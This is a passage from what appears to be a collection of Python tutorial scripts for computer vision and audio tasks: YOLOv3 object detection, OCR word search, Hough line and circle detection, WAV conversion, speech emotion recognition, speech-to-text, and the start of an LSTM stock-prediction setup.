0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + cv2.imshow("image", image) + if ord("q") == cv2.waitKey(1): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 +import numpy as np + +import time +import sys + +CONFIDENCE = 0.5 +SCORE_THRESHOLD = 0.5 +IOU_THRESHOLD = 0.5 +config_path = "cfg/yolov3.cfg" +weights_path = "weights/yolov3.weights" +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + +ln = net.getLayerNames() +ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +# read the file from the command line +video_file = sys.argv[1] +cap = cv2.VideoCapture(video_file) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + h, w = image.shape[:2] + blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + net.setInput(blob) + start = time.perf_counter() + layer_outputs = net.forward(ln) + time_took = time.perf_counter() - start + print("Time took:", time_took) + boxes, confidences, class_ids = [], [], [] + + # loop over each of the layer outputs + for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + + # perform the non maximum suppression given the scores defined before + idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) + + font_scale = 1 + thickness = 1 + + # ensure at least one detection exists + if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) + text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() + + + + +import time +import torch +import numpy as np +import matplotlib.pyplot as plt +import matplotlib.patches as patches + + +def boxes_iou(box1, box2): + """ + Returns the IOU between box1 and box2 (i.e intersection area divided by union area) + """ + # Get the Width and Height of each bounding box + width_box1 = box1[2] + height_box1 = box1[3] + width_box2 = box2[2] + height_box2 = box2[3] + + # Calculate the area of the each bounding box + area_box1 = width_box1 * height_box1 + area_box2 = width_box2 * height_box2 + + # Find the vertical edges of the union of the two bounding boxes + mx = min(box1[0] - width_box1/2.0, box2[0] - width_box2/2.0) + Mx = max(box1[0] + width_box1/2.0, box2[0] + width_box2/2.0) + + # Calculate the width of the union of the two bounding boxes + union_width = Mx - mx + + # Find the horizontal edges of the union of the two bounding boxes + my = min(box1[1] - height_box1/2.0, box2[1] - height_box2/2.0) + My = max(box1[1] + height_box1/2.0, box2[1] + height_box2/2.0) + + # Calculate the height of the union of the two bounding boxes + union_height = My - my + + # Calculate the width and height of the area of intersection of the two bounding boxes + intersection_width = width_box1 + width_box2 - union_width + intersection_height = height_box1 + height_box2 - union_height + + # If the the boxes don't overlap then their IOU is zero + if intersection_width <= 0 or intersection_height <= 0: + return 0.0 + + # Calculate the area of intersection of the two bounding boxes + intersection_area = intersection_width * intersection_height + + # Calculate the area of the union of the two bounding boxes + union_area = area_box1 + area_box2 - intersection_area + + # Calculate the IOU + iou = intersection_area/union_area + + return iou + + +def nms(boxes, iou_thresh): + """ + Performs Non maximal suppression technique to boxes using iou_thresh threshold + """ + # print(boxes.shape) + # If there are no bounding boxes do nothing + if len(boxes) == 0: + return boxes + + # Create a PyTorch Tensor to keep track of the detection confidence + # of each predicted bounding box + det_confs = torch.zeros(len(boxes)) + + # Get the detection confidence of each predicted bounding box + for i in range(len(boxes)): + det_confs[i] = boxes[i][4] + + # Sort the indices of the bounding boxes by detection confidence value in descending order. + # We ignore the first returned element since we are only interested in the sorted indices + _,sortIds = torch.sort(det_confs, descending = True) + + # Create an empty list to hold the best bounding boxes after + # Non-Maximal Suppression (NMS) is performed + best_boxes = [] + + # Perform Non-Maximal Suppression + for i in range(len(boxes)): + + # Get the bounding box with the highest detection confidence first + box_i = boxes[sortIds[i]] + + # Check that the detection confidence is not zero + if box_i[4] > 0: + + # Save the bounding box + best_boxes.append(box_i) + + # Go through the rest of the bounding boxes in the list and calculate their IOU with + # respect to the previous selected box_i. + for j in range(i + 1, len(boxes)): + box_j = boxes[sortIds[j]] + + # If the IOU of box_i and box_j is higher than the given IOU threshold set + # box_j's detection confidence to zero. + if boxes_iou(box_i, box_j) > iou_thresh: + box_j[4] = 0 + + return best_boxes + + +def detect_objects(model, img, iou_thresh, nms_thresh): + + # Start the time. This is done to calculate how long the detection takes. + start = time.time() + + # Set the model to evaluation mode. + model.eval() + + # Convert the image from a NumPy ndarray to a PyTorch Tensor of the correct shape. + # The image is transposed, then converted to a FloatTensor of dtype float32, then + # Normalized to values between 0 and 1, and finally unsqueezed to have the correct + # shape of 1 x 3 x 416 x 416 + img = torch.from_numpy(img.transpose(2,0,1)).float().div(255.0).unsqueeze(0) + + # Feed the image to the neural network with the corresponding NMS threshold. + # The first step in NMS is to remove all bounding boxes that have a very low + # probability of detection. All predicted bounding boxes with a value less than + # the given NMS threshold will be removed. + list_boxes = model(img, nms_thresh) + + # Make a new list with all the bounding boxes returned by the neural network + boxes = list_boxes[0][0] + list_boxes[1][0] + list_boxes[2][0] + + # Perform the second step of NMS on the bounding boxes returned by the neural network. + # In this step, we only keep the best bounding boxes by eliminating all the bounding boxes + # whose IOU value is higher than the given IOU threshold + boxes = nms(boxes, iou_thresh) + + # Stop the time. + finish = time.time() + + # Print the time it took to detect objects + print('\n\nIt took {:.3f}'.format(finish - start), 'seconds to detect the objects in the image.\n') + + # Print the number of objects detected + print('Number of Objects Detected:', len(boxes), '\n') + + return boxes + + +def load_class_names(namesfile): + + # Create an empty list to hold the object classes + class_names = [] + + # Open the file containing the COCO object classes in read-only mode + with open(namesfile, 'r') as fp: + + # The coco.names file contains only one object class per line. + # Read the file line by line and save all the lines in a list. + lines = fp.readlines() + + # Get the object class names + for line in lines: + + # Make a copy of each line with any trailing whitespace removed + line = line.rstrip() + + # Save the object class name into class_names + class_names.append(line) + + return class_names + + +def print_objects(boxes, class_names): + print('Objects Found and Confidence Level:\n') + for i in range(len(boxes)): + box = boxes[i] + if len(box) >= 7 and class_names: + cls_conf = box[5] + cls_id = box[6] + print('%i. %s: %f' % (i + 1, class_names[cls_id], cls_conf)) + + +def plot_boxes(img, boxes, class_names, plot_labels, color = None): + + # Define a tensor used to set the colors of the bounding boxes + colors = torch.FloatTensor([[1,0,1],[0,0,1],[0,1,1],[0,1,0],[1,1,0],[1,0,0]]) + + # Define a function to set the colors of the bounding boxes + def get_color(c, x, max_val): + ratio = float(x) / max_val * 5 + i = int(np.floor(ratio)) + j = int(np.ceil(ratio)) + + ratio = ratio - i + r = (1 - ratio) * colors[i][c] + ratio * colors[j][c] + + return int(r * 255) + + # Get the width and height of the image + width = img.shape[1] + height = img.shape[0] + + # Create a figure and plot the image + fig, a = plt.subplots(1,1) + a.imshow(img) + + # Plot the bounding boxes and corresponding labels on top of the image + for i in range(len(boxes)): + + # Get the ith bounding box + box = boxes[i] + + # Get the (x,y) pixel coordinates of the lower-left and lower-right corners + # of the bounding box relative to the size of the image. + x1 = int(np.around((box[0] - box[2]/2.0) * width)) + y1 = int(np.around((box[1] - box[3]/2.0) * height)) + x2 = int(np.around((box[0] + box[2]/2.0) * width)) + y2 = int(np.around((box[1] + box[3]/2.0) * height)) + + # Set the default rgb value to red + rgb = (1, 0, 0) + + # Use the same color to plot the bounding boxes of the same object class + if len(box) >= 7 and class_names: + cls_conf = box[5] + cls_id = box[6] + classes = len(class_names) + offset = cls_id * 123457 % classes + red = get_color(2, offset, classes) / 255 + green = get_color(1, offset, classes) / 255 + blue = get_color(0, offset, classes) / 255 + + # If a color is given then set rgb to the given color instead + if color is None: + rgb = (red, green, blue) + else: + rgb = color + + # Calculate the width and height of the bounding box relative to the size of the image. + width_x = x2 - x1 + width_y = y1 - y2 + + # Set the postion and size of the bounding box. (x1, y2) is the pixel coordinate of the + # lower-left corner of the bounding box relative to the size of the image. + rect = patches.Rectangle((x1, y2), + width_x, width_y, + linewidth = 2, + edgecolor = rgb, + facecolor = 'none') + + # Draw the bounding box on top of the image + a.add_patch(rect) + + # If plot_labels = True then plot the corresponding label + if plot_labels: + + # Create a string with the object class name and the corresponding object class probability + conf_tx = class_names[cls_id] + ': {:.1f}'.format(cls_conf) + + # Define x and y offsets for the labels + lxc = (img.shape[1] * 0.266) / 100 + lyc = (img.shape[0] * 1.180) / 100 + + # Draw the labels on top of the image + a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k', + bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6)) + + plt.savefig("output.jpg") + plt.show() + + + + +import cv2 +import matplotlib.pyplot as plt +from utils import * +from darknet import Darknet + +# Set the NMS Threshold +score_threshold = 0.6 +# Set the IoU threshold +iou_threshold = 0.4 +cfg_file = "cfg/yolov3.cfg" +weight_file = "weights/yolov3.weights" +namesfile = "data/coco.names" +m = Darknet(cfg_file) +m.load_weights(weight_file) +class_names = load_class_names(namesfile) +# m.print_network() +original_image = cv2.imread("images/city_scene.jpg") +original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB) +img = cv2.resize(original_image, (m.width, m.height)) +# detect the objects +boxes = detect_objects(m, img, iou_threshold, score_threshold) +print(boxes[0]) +print(boxes[1]) +print(boxes[2]) +# plot the image with the bounding boxes and corresponding object class labels +plot_boxes(original_image, boxes, class_names, plot_labels=True) + + + + +import cv2 +import numpy as np + +import time +import sys +import os + +CONFIDENCE = 0.5 +SCORE_THRESHOLD = 0.5 +IOU_THRESHOLD = 0.5 + +# the neural network configuration +config_path = "cfg/yolov3.cfg" +# the YOLO net weights file +weights_path = "weights/yolov3.weights" + +# loading all the class labels (objects) +labels = open("data/coco.names").read().strip().split("\n") +# generating colors for each object for later plotting +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +# load the YOLO network +net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + +# path_name = "images/city_scene.jpg" +path_name = sys.argv[1] +image = cv2.imread(path_name) +file_name = os.path.basename(path_name) +filename, ext = file_name.split(".") + +h, w = image.shape[:2] +# create 4D blob +blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + +# sets the blob as the input of the network +net.setInput(blob) + +# get all the layer names +ln = net.getLayerNames() +ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +# feed forward (inference) and get the network output +# measure how much it took in seconds +start = time.perf_counter() +layer_outputs = net.forward(ln) +time_took = time.perf_counter() - start +print(f"Time took: {time_took:.2f}s") + +boxes, confidences, class_ids = [], [], [] + +# loop over each of the layer outputs +for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + +# perform the non maximum suppression given the scores defined before +idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) + +font_scale = 1 +thickness = 1 + +# ensure at least one detection exists +if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) + text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + +# cv2.imshow("image", image) +# if cv2.waitKey(0) == ord("q"): +# pass + +cv2.imwrite(filename + "_yolo3." + ext, image) + + + + +import pytesseract +import cv2 +import sys +import matplotlib.pyplot as plt +from PIL import Image + +# read the image using OpenCV +image = cv2.imread(sys.argv[1]) + +# make a copy of this image to draw in +image_copy = image.copy() + +# the target word to search for +target_word = sys.argv[2] + +# get all data from the image +data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT) + +# get all occurences of the that word +word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ] + +for occ in word_occurences: + # extract the width, height, top and left position for that detected word + w = data["width"][occ] + h = data["height"][occ] + l = data["left"][occ] + t = data["top"][occ] + # define all the surrounding box points + p1 = (l, t) + p2 = (l + w, t) + p3 = (l + w, t + h) + p4 = (l, t + h) + # draw the 4 lines (rectangular) + image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2) + +plt.imsave("all_dog_words.png", image_copy) +plt.imshow(image_copy) +plt.show() + + + + +import pytesseract +import cv2 +import matplotlib.pyplot as plt +import sys +from PIL import Image + +# read the image using OpenCV +# from the command line first argument +image = cv2.imread(sys.argv[1]) +# or you can use Pillow +# image = Image.open(sys.argv[1]) + +# get the string +string = pytesseract.image_to_string(image) +# print it +print(string) + +# get all data +# data = pytesseract.image_to_data(image) + +# print(data) + + + + +import pytesseract +import cv2 +import matplotlib.pyplot as plt +from PIL import Image + +# the target word to search for +target_word = "your" + +cap = cv2.VideoCapture(0) + +while True: + # read the image from the cam + _, image = cap.read() + + # make a copy of this image to draw in + image_copy = image.copy() + + # get all data from the image + data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT) + + # print the data + print(data["text"]) + + # get all occurences of the that word + word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ] + + for occ in word_occurences: + # extract the width, height, top and left position for that detected word + w = data["width"][occ] + h = data["height"][occ] + l = data["left"][occ] + t = data["top"][occ] + # define all the surrounding box points + p1 = (l, t) + p2 = (l + w, t) + p3 = (l + w, t + h) + p4 = (l, t + h) + # draw the 4 lines (rectangular) + image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2) + + if cv2.waitKey(1) == ord("q"): + break + + cv2.imshow("image_copy", image_copy) + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 +import numpy as np +import matplotlib.pyplot as plt +import sys + +# load the image +img = cv2.imread(sys.argv[1]) +# convert BGR to RGB to be suitable for showing using matplotlib library +img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) +# make a copy of the original image +cimg = img.copy() +# convert image to grayscale +img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) +# apply a blur using the median filter +img = cv2.medianBlur(img, 5) +# finds the circles in the grayscale image using the Hough transform +circles = cv2.HoughCircles(image=img, method=cv2.HOUGH_GRADIENT, dp=0.9, + minDist=80, param1=110, param2=39, maxRadius=70) + +for co, i in enumerate(circles[0, :], start=1): + # draw the outer circle in green + cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2) + # draw the center of the circle in red + cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3) + +# print the number of circles detected +print("Number of circles detected:", co) +# save the image, convert to BGR to save with proper colors +# cv2.imwrite("coins_circles_detected.png", cimg) +# show the image +plt.imshow(cimg) +plt.show() + + + + +import numpy as np +import matplotlib.pyplot as plt +import cv2 + +cap = cv2.VideoCapture(0) + +while True: + _, image = cap.read() + # convert to grayscale + grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + # perform edge detection + edges = cv2.Canny(grayscale, 30, 100) + # detect lines in the image using hough lines technique + lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5) + # iterate over the output lines and draw them + for line in lines: + for x1, y1, x2, y2 in line: + cv2.line(image, (x1, y1), (x2, y2), (255, 0, 0), 3) + cv2.line(edges, (x1, y1), (x2, y2), (255, 0, 0), 3) + # show images + cv2.imshow("image", image) + cv2.imshow("edges", edges) + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import numpy as np +import matplotlib.pyplot as plt +import cv2 +import sys + +# read the image +image = cv2.imread(sys.argv[1]) + +# convert to grayscale +grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# perform edge detection +edges = cv2.Canny(grayscale, 30, 100) + +# detect lines in the image using hough lines technique +lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5) +# iterate over the output lines and draw them +for line in lines: + for x1, y1, x2, y2 in line: + cv2.line(image, (x1, y1), (x2, y2), color=(20, 220, 20), thickness=3) + +# show the image +plt.imshow(image) +plt.show() + + + + +""" +A utility script used for converting audio samples to be +suitable for feature extraction +""" + +import os + +def convert_audio(audio_path, target_path, remove=False): + """This function sets the audio audio_path to: + - 16000Hz Sampling rate + - one audio channel ( mono ) + Params: + audio_path (str): the path of audio wav file you want to convert + target_path (str): target path to save your new converted wav file + remove (bool): whether to remove the old file after converting + Note that this function requires ffmpeg installed in your system.""" + + os.system(f"ffmpeg -i {audio_path} -ac 1 -ar 16000 {target_path}") + # os.system(f"ffmpeg -i {audio_path} -ac 1 {target_path}") + if remove: + os.remove(audio_path) + + +def convert_audios(path, target_path, remove=False): + """Converts a path of wav files to: + - 16000Hz Sampling rate + - one audio channel ( mono ) + and then put them into a new folder called target_path + Params: + audio_path (str): the path of audio wav file you want to convert + target_path (str): target path to save your new converted wav file + remove (bool): whether to remove the old file after converting + Note that this function requires ffmpeg installed in your system.""" + + for dirpath, dirnames, filenames in os.walk(path): + for dirname in dirnames: + dirname = os.path.join(dirpath, dirname) + target_dir = dirname.replace(path, target_path) + if not os.path.isdir(target_dir): + os.mkdir(target_dir) + + for dirpath, _, filenames in os.walk(path): + for filename in filenames: + file = os.path.join(dirpath, filename) + if file.endswith(".wav"): + # it is a wav file + target_file = file.replace(path, target_path) + convert_audio(file, target_file, remove=remove) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="""Convert ( compress ) wav files to 16MHz and mono audio channel ( 1 channel ) + This utility helps for compressing wav files for training and testing""") + parser.add_argument("audio_path", help="Folder that contains wav files you want to convert") + parser.add_argument("target_path", help="Folder to save new wav files") + parser.add_argument("-r", "--remove", type=bool, help="Whether to remove the old wav file after converting", default=False) + + args = parser.parse_args() + audio_path = args.audio_path + target_path = args.target_path + + if os.path.isdir(audio_path): + if not os.path.isdir(target_path): + os.makedirs(target_path) + convert_audios(audio_path, target_path, remove=args.remove) + elif os.path.isfile(audio_path) and audio_path.endswith(".wav"): + if not target_path.endswith(".wav"): + target_path += ".wav" + convert_audio(audio_path, target_path, remove=args.remove) + else: + raise TypeError("The audio_path file you specified isn't appropriate for this operation") + + + + +from sklearn.neural_network import MLPClassifier + +from sklearn.metrics import accuracy_score +from utils import load_data + +import os +import pickle + +# load RAVDESS dataset +X_train, X_test, y_train, y_test = load_data(test_size=0.25) +# print some details +# number of samples in training data +print("[+] Number of training samples:", X_train.shape[0]) +# number of samples in testing data +print("[+] Number of testing samples:", X_test.shape[0]) +# number of features used +# this is a vector of features extracted +# using utils.extract_features() method +print("[+] Number of features:", X_train.shape[1]) +# best model, determined by a grid search +model_params = { + 'alpha': 0.01, + 'batch_size': 256, + 'epsilon': 1e-08, + 'hidden_layer_sizes': (300,), + 'learning_rate': 'adaptive', + 'max_iter': 500, +} +# initialize Multi Layer Perceptron classifier +# with best parameters ( so far ) +model = MLPClassifier(**model_params) + +# train the model +print("[*] Training the model...") +model.fit(X_train, y_train) + +# predict 25% of data to measure how good we are +y_pred = model.predict(X_test) + +# calculate the accuracy +accuracy = accuracy_score(y_true=y_test, y_pred=y_pred) + +print("Accuracy: {:.2f}%".format(accuracy*100)) + +# now we save the model +# make result directory if doesn't exist yet +if not os.path.isdir("result"): + os.mkdir("result") + +pickle.dump(model, open("result/mlp_classifier.model", "wb")) + + + + +import pyaudio +import os +import wave +import pickle +from sys import byteorder +from array import array +from struct import pack +from sklearn.neural_network import MLPClassifier + +from utils import extract_feature + +THRESHOLD = 500 +CHUNK_SIZE = 1024 +FORMAT = pyaudio.paInt16 +RATE = 16000 + +SILENCE = 30 + +def is_silent(snd_data): + "Returns 'True' if below the 'silent' threshold" + return max(snd_data) < THRESHOLD + +def normalize(snd_data): + "Average the volume out" + MAXIMUM = 16384 + times = float(MAXIMUM)/max(abs(i) for i in snd_data) + + r = array('h') + for i in snd_data: + r.append(int(i*times)) + return r + +def trim(snd_data): + "Trim the blank spots at the start and end" + def _trim(snd_data): + snd_started = False + r = array('h') + + for i in snd_data: + if not snd_started and abs(i)>THRESHOLD: + snd_started = True + r.append(i) + + elif snd_started: + r.append(i) + return r + + # Trim to the left + snd_data = _trim(snd_data) + + # Trim to the right + snd_data.reverse() + snd_data = _trim(snd_data) + snd_data.reverse() + return snd_data + +def add_silence(snd_data, seconds): + "Add silence to the start and end of 'snd_data' of length 'seconds' (float)" + r = array('h', [0 for i in range(int(seconds*RATE))]) + r.extend(snd_data) + r.extend([0 for i in range(int(seconds*RATE))]) + return r + +def record(): + """ + Record a word or words from the microphone and + return the data as an array of signed shorts. + + Normalizes the audio, trims silence from the + start and end, and pads with 0.5 seconds of + blank sound to make sure VLC et al can play + it without getting chopped off. + """ + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=1, rate=RATE, + input=True, output=True, + frames_per_buffer=CHUNK_SIZE) + + num_silent = 0 + snd_started = False + + r = array('h') + + while 1: + # little endian, signed short + snd_data = array('h', stream.read(CHUNK_SIZE)) + if byteorder == 'big': + snd_data.byteswap() + r.extend(snd_data) + + silent = is_silent(snd_data) + + if silent and snd_started: + num_silent += 1 + elif not silent and not snd_started: + snd_started = True + + if snd_started and num_silent > SILENCE: + break + + sample_width = p.get_sample_size(FORMAT) + stream.stop_stream() + stream.close() + p.terminate() + + r = normalize(r) + r = trim(r) + r = add_silence(r, 0.5) + return sample_width, r + +def record_to_file(path): + "Records from the microphone and outputs the resulting data to 'path'" + sample_width, data = record() + data = pack('<' + ('h'*len(data)), *data) + + wf = wave.open(path, 'wb') + wf.setnchannels(1) + wf.setsampwidth(sample_width) + wf.setframerate(RATE) + wf.writeframes(data) + wf.close() + + + +if __name__ == "__main__": + # load the saved model (after training) + model = pickle.load(open("result/mlp_classifier.model", "rb")) + print("Please talk") + filename = "test.wav" + # record the file (start talking) + record_to_file(filename) + # extract features and reshape it + features = extract_feature(filename, mfcc=True, chroma=True, mel=True).reshape(1, -1) + # predict + result = model.predict(features)[0] + # show the result ! + print("result:", result) + + + + +import soundfile +import numpy as np +import librosa +import glob +import os +from sklearn.model_selection import train_test_split + +# all emotions on RAVDESS dataset +int2emotion = { + "01": "neutral", + "02": "calm", + "03": "happy", + "04": "sad", + "05": "angry", + "06": "fearful", + "07": "disgust", + "08": "surprised" +} + +# we allow only these emotions +AVAILABLE_EMOTIONS = { + "angry", + "sad", + "neutral", + "happy" +} + +def extract_feature(file_name, **kwargs): + """ + Extract feature from audio file file_name + Features supported: + - MFCC (mfcc) + - Chroma (chroma) + - MEL Spectrogram Frequency (mel) + - Contrast (contrast) + - Tonnetz (tonnetz) + e.g: + features = extract_feature(path, mel=True, mfcc=True) + """ + mfcc = kwargs.get("mfcc") + chroma = kwargs.get("chroma") + mel = kwargs.get("mel") + contrast = kwargs.get("contrast") + tonnetz = kwargs.get("tonnetz") + with soundfile.SoundFile(file_name) as sound_file: + X = sound_file.read(dtype="float32") + sample_rate = sound_file.samplerate + if chroma or contrast: + stft = np.abs(librosa.stft(X)) + result = np.array([]) + if mfcc: + mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0) + result = np.hstack((result, mfccs)) + if chroma: + chroma = np.mean(librosa.feature.chroma_stft(S=stft, sr=sample_rate).T,axis=0) + result = np.hstack((result, chroma)) + if mel: + mel = np.mean(librosa.feature.melspectrogram(X, sr=sample_rate).T,axis=0) + result = np.hstack((result, mel)) + if contrast: + contrast = np.mean(librosa.feature.spectral_contrast(S=stft, sr=sample_rate).T,axis=0) + result = np.hstack((result, contrast)) + if tonnetz: + tonnetz = np.mean(librosa.feature.tonnetz(y=librosa.effects.harmonic(X), sr=sample_rate).T,axis=0) + result = np.hstack((result, tonnetz)) + return result + + +def load_data(test_size=0.2): + X, y = [], [] + for file in glob.glob("data/Actor_*/*.wav"): + # get the base name of the audio file + basename = os.path.basename(file) + # get the emotion label + emotion = int2emotion[basename.split("-")[2]] + # we allow only AVAILABLE_EMOTIONS we set + if emotion not in AVAILABLE_EMOTIONS: + continue + # extract speech features + features = extract_feature(file, mfcc=True, chroma=True, mel=True) + # add to data + X.append(features) + y.append(emotion) + # split the data to training and testing and return it + return train_test_split(np.array(X), y, test_size=test_size, random_state=7) + + + + +import speech_recognition as sr +import sys + +duration = int(sys.argv[1]) + +# initialize the recognizer +r = sr.Recognizer() +print("Please talk") +with sr.Microphone() as source: + # read the audio data from the default microphone + audio_data = r.record(source, duration=duration) + print("Recognizing...") + # convert speech to text + text = r.recognize_google(audio_data) + print(text) + + + + +import speech_recognition as sr +import sys + +filename = sys.argv[1] + +# initialize the recognizer +r = sr.Recognizer() + +# open the file +with sr.AudioFile(filename) as source: + # listen for the data (load audio to memory) + audio_data = r.record(source) + # recognize (convert from speech to text) + text = r.recognize_google(audio_data) + print(text) + + + + +import os +import time +from tensorflow.keras.layers import LSTM + + +# Window size or the sequence length +N_STEPS = 100 +# Lookup step, 1 is the next day +LOOKUP_STEP = 90 + +# test ratio size, 0.2 is 20% +TEST_SIZE = 0.2 +# features to use +FEATURE_COLUMNS = ["adjclose", "volume", "open", "high", "low"] +# date now +date_now = time.strftime("%Y-%m-%d") + +### model parameters + +N_LAYERS = 3 +# LSTM cell +CELL = LSTM +# 256 LSTM neurons +UNITS = 256 +# 40% dropout +DROPOUT = 0.4 + +### training parameters + +# mean squared error loss +LOSS = "mse" +OPTIMIZER = "rmsprop" +BATCH_SIZE = 64 +EPOCHS = 300 + +# Apple stock market +ticker = "AAPL" +ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv") +# model name to save +model_name = f"{date_now}_{ticker}-{LOSS}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}" + + + + +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import LSTM, Dense, Dropout +from sklearn import preprocessing +from sklearn.model_selection import train_test_split +from yahoo_fin import stock_info as si +from collections import deque + +import numpy as np +import pandas as pd +import random + + +def load_data(ticker, n_steps=50, scale=True, shuffle=True, 